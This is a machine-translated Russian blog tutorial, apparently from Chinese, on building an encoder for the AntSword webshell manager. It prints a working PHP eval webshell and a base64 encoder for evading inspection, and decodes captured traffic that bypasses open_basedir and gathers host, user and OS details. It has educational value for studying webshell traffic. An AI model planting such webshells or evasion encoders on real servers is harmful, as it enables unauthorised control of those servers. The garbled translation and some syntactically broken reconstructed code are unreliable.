Обмен технологиями

Написание кодировщика Ant Sword — часть 1

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Ссылаться на

AwesomeEncoder

кПервыйНапример
троянский конь

<?php @eval(base64_decode($_POST['ant']));?>
  • 1

Получите содержимое параметра ant, затем раскодируйте его с помощью Base64 и запустите.
Кодер

let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
  • 1
  • 2
  • 3

Сгенерируйте случайное число randomID, закодируйте данные в base64 и передайте их в параметр randomID.
Затемeval(base64_decode($_POST[${randomID}]));die();Выполнить кодировку base64

Напротив
Троянец получает это первымdata[pwd]То естьantЗначение получается после декодирования base64.

eval(base64_decode($_POST[${randomID}]));die();
  • 1

Фактически троянец стал

<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
  • 1

Предположим, что сгенерированное случайное число randomID равноA, тогда это

<?php @eval(eval(base64_decode($_POST[A]));die(););?>
  • 1

На втором этапе «Троянского коня»data[randomID], то есть$_POST[${randomID}], то есть здесь$_POST[A] Он закодирован в base64, поэтому его нужно декодировать один раз. Тогда возникает вопрос, почему его нужно выполнять дважды? ? ?Тогда надо проверить это из пакета трафика

Здесь нет демонстрации построения среды. Достаточно Xiaopi, Yijian и Burpsuite.
Вставьте сюда описание изображения

Декодировать базу пакетов данных

ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
  • 1
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Тогда это становитсяeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

Взгляните на этот большой абзац и разберитесь в нем.

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

Многих функций я, конечно, не знаю, но ИИ есть!

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

Этот абзац
Отключить отображение ошибок
Установить время выполнения скрипта
Получите значение конфигурации open_basedir и обойдите его.open_basedirОграничения атрибутов

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

Этот раздел получает каталог, в котором находится текущий скрипт, и инициализирует строковые параметры.$R, пройти по букве диска, CZ взрывает букву диска, использует функцию posix_getegid для получения имени пользователя, группы пользователей и другого содержимого пользователя, выполняющего скрипт, обнаружить$uСуществует ли он. Если он не существует, используйте функцию get_current_user(), чтобы получить его. Используйте php_uname(), чтобы получить информацию об операционной системе.

На данный момент это очень ясно. Этот php-код получает в конце текущий каталог выполнения, букву диска, пользователя и информацию об операционной системе. Благодаря использованию механизма кэширования.
Выполните коллективный вывод в функции asoutput(),

Отправьте указанный выше пакет запроса в модуль повторителя и обнаружите, что возвращаемые результаты одинаковы.

Но это все еще не может объяснить, почему существует два значения eval. Фактически, содержимое, передаваемое ant, принадлежит строке только тогда, когда слой eval размещается снаружи, внутреннее значение eval будет выполняться как функция. Вот простой пример.

<?php  
eval("eval('echo 1+1;');die();")
?>
  • 1
  • 2
  • 3

Трансформировать

<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
  • 1
  • 2
  • 3

Вставьте сюда описание изображения
Конечный результат вывода равен 2, что означает, что внешний уровень eval преобразует строку в функцию для выполнения, а внутренний уровень eval выполняет содержимое.

Так вот в этом примере eval трояна используется для активации функции eval в пакете запроса, тем самым достигается эффект выполнения команды.